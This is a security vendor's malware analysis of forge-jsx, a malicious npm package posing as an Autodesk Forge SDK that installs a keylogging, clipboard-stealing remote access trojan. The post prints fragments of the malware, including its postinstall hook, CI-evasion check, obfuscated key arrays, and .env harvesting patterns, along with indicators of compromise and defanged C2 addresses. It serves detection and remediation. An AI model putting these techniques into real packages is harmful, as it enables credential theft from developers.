forge-jsx npm Package: Purpose-Built Multi-Platform RAT
Table of Contents
TL;DR
forge-jsx is a malicious npm package that impersonates an Autodesk Forge SDK. It was published as a fully-formed RAT from its first version on April 7, 2026. Installing the package on any non-CI machine deploys a persistent background agent that captures all keystrokes, monitors clipboard content, recursively scans the filesystem for .env files, reads shell history, and opens a WebSocket-based remote filesystem backdoor. All stolen data flows to 204.10.194.247. Persistence survives reboots via systemd (Linux), LaunchAgent (macOS), and Task Scheduler (Windows).
Impact:
- All keystrokes captured system-wide via global keyboard hook (
uiohook-napi), across all applications - Clipboard contents monitored continuously and exfiltrated on every change
.env,.env.local,.env.production,.env.staging, and nine other env file variants scanned from CWD and home directory- Shell history exfiltrated:
.bash_history,.zsh_history, fish history, PowerShell PSReadLine history on all platforms - Host inventory collected: hostname, OS version, installed application list (via
dpkg,rpm, or PowerShell registry) - Full remote filesystem access: attacker can list, read, and zip any path via an authenticated WebSocket relay
- Persistence installed at first run; agent restarts automatically on reboot and after logout
Indicators of Compromise (IoC):
| Indicator | Value |
|---|---|
| Packages | forge-jsx v1.0.0–v1.0.6, @johntaohunter/forge-jsx v1.0.4 |
| npm maintainers | johnceballos0716, johntaohunter |
| C2 IP | 204.10.194.247 (AS206216 Advin Services LLC, Nürnberg, DE) |
| WebSocket relay | ws://204[.]10[.]194[.]247:9877 |
| HTTP API | hxxp://204[.]10[.]194[.]247:8765 |
| Default session password | secret |
| Linux persistence | ~/.config/systemd/user/forge-js-worker.service, ~/.config/autostart/forge-js-worker.desktop |
| macOS persistence | ~/Library/LaunchAgents/com.forgejs.worker.plist |
| Windows persistence | Task Scheduler task ForgeJSWorker, HKCU\...\Run\ForgeJSWorker |
| Victim ID file (Linux) | ~/.local/share/cfgmgr/.client_id |
| Victim ID file (macOS) | ~/Library/Application Support/CfgMgr/data/.client_id |
| Victim ID file (Windows) | %LOCALAPPDATA%\CfgMgr\data\.client_id |
| Package artifact SHA256 (v1.0.6) | 4cb96c3b033c1aaf7b3d0fe54749058f14d4d914947a6d6d430aca108a7daa5a |
Analysis
Package Overview
The package description reads “Node.js integration layer for Autodesk Forge.” That description has nothing to do with what the package actually does, and there is no connection to Autodesk. The package.json has no author, repository, or homepage fields. The README is three lines.
The maintainer account johnceballos0716 has published only this one package, registered the day of the first release. A second account, johntaohunter (email: [email protected]), published a scoped copy at @johntaohunter/forge-jsx on April 14, 2026. Both packages resolve to the same C2. The domain taohunter.ai is a sparse GoDaddy-built site presenting as an AI company called “Tao Hunter” with Google Workspace MX records, a thin cover identity rather than a real business.
Seven versions shipped between April 7 and April 15. SafeDep’s analysis flagged v1.0.5 and v1.0.6 as malware. Decrypting the embedded AES-256-GCM config blob from v1.0.0 confirms the same C2 was baked in from the first publish: this was never a legitimate package with a malicious update grafted on.
Execution Trigger
The postinstall hook in package.json runs four scripts in sequence on every npm install:
"scripts": { "postinstall": "node scripts/postinstall-clipboard-event.mjs && node scripts/ensure-dist.mjs && node scripts/postinstall-bootstrap.mjs && node scripts/postinstall-agent.mjs"}postinstall-bootstrap.mjs checks for CI environments before proceeding:
const isCI = ciValue === 'true' || ciValue === '1' || (process.env.GITHUB_ACTIONS || '').trim().toLowerCase() === 'true' || (process.env.GITLAB_CI || '').trim() !== '' || (process.env.TRAVIS || '').trim().toLowerCase() === 'true' || (process.env.CIRCLECI || '').trim().toLowerCase() === 'true' || (process.env.JENKINS_URL || '').trim() !== '' || (process.env.TEAMCITY_VERSION || '').trim() !== '';
if (isCI) { process.exit(0);}On any non-CI machine, execution proceeds because dist/cli-forge.js is bundled in the package, making this condition always true:
const embeddedTrigger = deploymentAllowed && forgeInstallEnabled && existsSync(path.join(pkgRoot, 'dist', 'cli-forge.js'));
const shouldBootstrap = urlTrigger || bundleTrigger || embeddedTrigger;The child process spawns silently: windowsHide: true, stdio: "pipe", and FORGE_JS_QUIET_AGENT=1 suppress any visible output or console windows on all platforms.
Encrypted C2 Configuration
The C2 host, relay port, API port, and session password are stored as an AES-256-GCM blob in dist/deploymentCipherData.js. The 32-byte decryption key is XOR-obfuscated across two 16-byte arrays:
exports.DEPLOYMENT_KEY_A = new Uint8Array([135, 49, 199, 76, 166, 214, 58, 202, 152, 59, 1, 155, 171, 88, 86, 12]);exports.DEPLOYMENT_KEY_B = new Uint8Array([84, 151, 139, 4, 184, 3, 139, 49, 105, 173, 86, 107, 207, 72, 175, 175]);exports.DEPLOYMENT_MASK_A = new Uint8Array([186, 248, 100, 81, 174, 76, 90, 98, 101, 206, 50, 3, 55, 72, 41, 252]);exports.DEPLOYMENT_MASK_B = new Uint8Array([101, 234, 65, 111, 245, 21, 25, 38, 7, 62, 199, 188, 101, 79, 223, 63]);Reconstructing the key (KEY_A[i] ^ MASK_A[i], KEY_B[i] ^ MASK_B[i]) and decrypting the ciphertext yields:
{ "publicHost": "204.10.194.247", "relayPort": 9877, "apiPort": 8765, "defaultExplorerPassword": "secret" }The attacker explicitly avoids surfacing this IP in ps aux. Code comments explain the design: “When they were decrypted from the embedded encrypted bundle, omit them so the plaintext IP/port does NOT appear in ps aux process arguments.”
Persistence
dist/workerBootstrap.js registers the agent with the OS service manager on first run:
Linux: writes ~/.config/systemd/user/forge-js-worker.service with Restart=on-failure and runs loginctl enable-linger <user> so the unit starts at boot even without an active login session. A complementary XDG autostart entry (~/.config/autostart/forge-js-worker.desktop) handles desktop sessions without systemd linger enabled.
macOS: writes ~/Library/LaunchAgents/com.forgejs.worker.plist and kickstarts it via launchctl.
Windows: creates a Task Scheduler task named ForgeJSWorker and sets a HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run value.
Each victim machine gets a UUID written to a .client_id file and sent as the X-Client-Id header in all HTTP requests to the C2, allowing the attacker to correlate data across sessions.
Data Collection
Keyboard capture. The agent loads uiohook-napi and registers a global OS keyboard hook: WH_KEYBOARD_LL on Windows, X11 Record on Linux, CGEventTap on macOS. Every keydown event from every application passes through it. Characters accumulate in a buffer; a trailing-edge 1200ms debounce timer flushes the buffer after each pause in typing. Enter flushes immediately. The flushed payload goes to hxxp://204[.]10[.]194[.]247:8765/api/events:
enqueue({ timestamp: new Date().toISOString(), source: 'keyboard', text, size_bytes: Buffer.byteLength(text, 'utf8'),});On headless Linux servers with no DISPLAY or WAYLAND_DISPLAY, the keyboard hook is skipped. The code checks skipUiohookKeyboard() and falls back to clipboard-only capture. Env file scanning and shell history exfiltration still run.
Clipboard monitoring. The agent polls the clipboard via @napi-rs/clipboard every 400ms and on every change event from the clipboard-event helper. Content is posted with source: "clipboard".
.env file scanning. dist/envScan.js walks the filesystem from CWD and the user’s home directory, collecting files matching thirteen patterns:
const ENV_PATTERNS = new Set([ '.env', '.env.local', '.env.development', '.env.production', '.env.staging', '.env.test', '.env.dev', '.env.prod', '.env.example', '.env.sample', '.env.defaults', '.env.docker', '.env.compose',]);File contents are POSTed in batches of 25 to /api/events/batch, deduplicated by SHA-256 hash so unchanged files are not re-uploaded across scan intervals.
Shell history. dist/shellHistoryScan.js reads fixed candidate paths per platform: ~/.zsh_history, ~/.bash_history, fish history, PowerShell PSReadLine history on Linux and macOS; %APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt plus Cygwin and MSYS2 paths on Windows.
Host inventory. On first sync, the agent posts a JSON document to /api/events/batch at the virtual path forge-js://host-inventory.json containing the hostname, OS version, Node.js version, and a full list of installed applications collected via dpkg-query, rpm -qa, or a PowerShell registry query against three Uninstall hives.
Remote Filesystem Access
The agent maintains a persistent WebSocket connection to ws://204[.]10[.]194[.]247:9877, reconnecting every five seconds on disconnect. On connection it sends system information including hostname, local IP, OS version, and the current username. An authenticated viewer connecting to the same relay session gets:
fs_roots: filesystem root directoriesfs_list: directory contentsfs_read: arbitrary file content (chunked for large files)fs_zip: zip and stream a directory treefs_parent: navigate up the tree
Authentication uses a SHA-256 nonce challenge with the default password secret from the decrypted bundle.
Attribution
Two npm accounts published identical tooling to the same C2:
| Account | Package | |
|---|---|---|
johnceballos0716 | [email protected] | forge-jsx v1.0.0–v1.0.6 |
johntaohunter | [email protected] | @johntaohunter/forge-jsx v1.0.4 |
taohunter.ai uses Google Workspace MX records and resolves to GoDaddy hosting. The site presents as “Tao Hunter,” an AI company, with no real contact information. The @johntaohunter/forge-jsx package uses a fresh AES key (consistent with a separate encode-deployment.mjs run) but decrypts to the same 204.10.194.247 payload.
The codebase contains references to a Python counterpart sharing the same infrastructure: code comments note “Python cfgmgr relay often uses :9876; forge-js relay :9877” and “Keep logic aligned with forge src/cfgmgr/table_naming.py and forge-db table_naming.py.” The package.json keywords field includes cfgmgr and forge-db. The npm package is one component of a larger private toolchain with at least a Python agent and a FastAPI backend. Neither the Python package nor the backend appears on any public registry.
No public threat intelligence reports matched this campaign, these accounts, or 204.10.194.247 at the time of analysis.
Conclusion
forge-jsx is a purpose-built RAT with no legitimate version in its history. The sophistication of the implementation (multi-platform persistence, encrypted C2 config, CI sandbox detection, keyboard interception, filesystem relay) places it well above the typical opportunistic npm infostealer. The operator set up C2 infrastructure and a cover domain before publishing the first package version.
Developers who installed any version of forge-jsx or @johntaohunter/forge-jsx should treat every API key, credential, and secret typed or stored on the affected machine as compromised. Remove the systemd unit, LaunchAgent, or Task Scheduler task, rotate all credentials from .env files in the home directory and recent working directories, and audit shell history for any typed secrets.
- malware
- npm
- supply-chain
- rat
- credential-theft
Author
SafeDep Team
safedep.io
Share
The Latest from SafeDep blogs
Follow for the latest updates and insights on open source security & engineering

PMG dependency cooldown: wait on fresh npm versions
Package Manager Guard (PMG) blocks malicious installs and now supports dependency cooldown, a configurable window that hides brand-new npm versions during resolution so installs prefer older,...

Malicious dom-utils-lite npm SSH Backdoor via Supabase
dom-utils-lite and centralogger on npm inject attacker SSH keys into ~/.ssh/authorized_keys and exfiltrate server metadata to Supabase-hosted C2 infrastructure, granting persistent remote access.

Malicious npm Package js-logger-pack Ships a Multi-Platform WebSocket Stealer
js-logger-pack spent two weeks on npm evolving from a probe package into a full-featured infostealer. Its postinstall hook runs an 885 KB obfuscated agent that connects to a Hetzner-hosted C2,...

Malicious npm Dependency Confusion Campaign Targets Genoma UI and Others
A dependency confusion campaign by npm user victim59 targets at least three organizations through scoped packages @genoma-ui/components, @needl-ai/common, and rrweb-v1. The packages use install hooks...

Ship Code.
Not Malware.
Start free with open source tools on your machine. Scale to a unified platform for your organization.
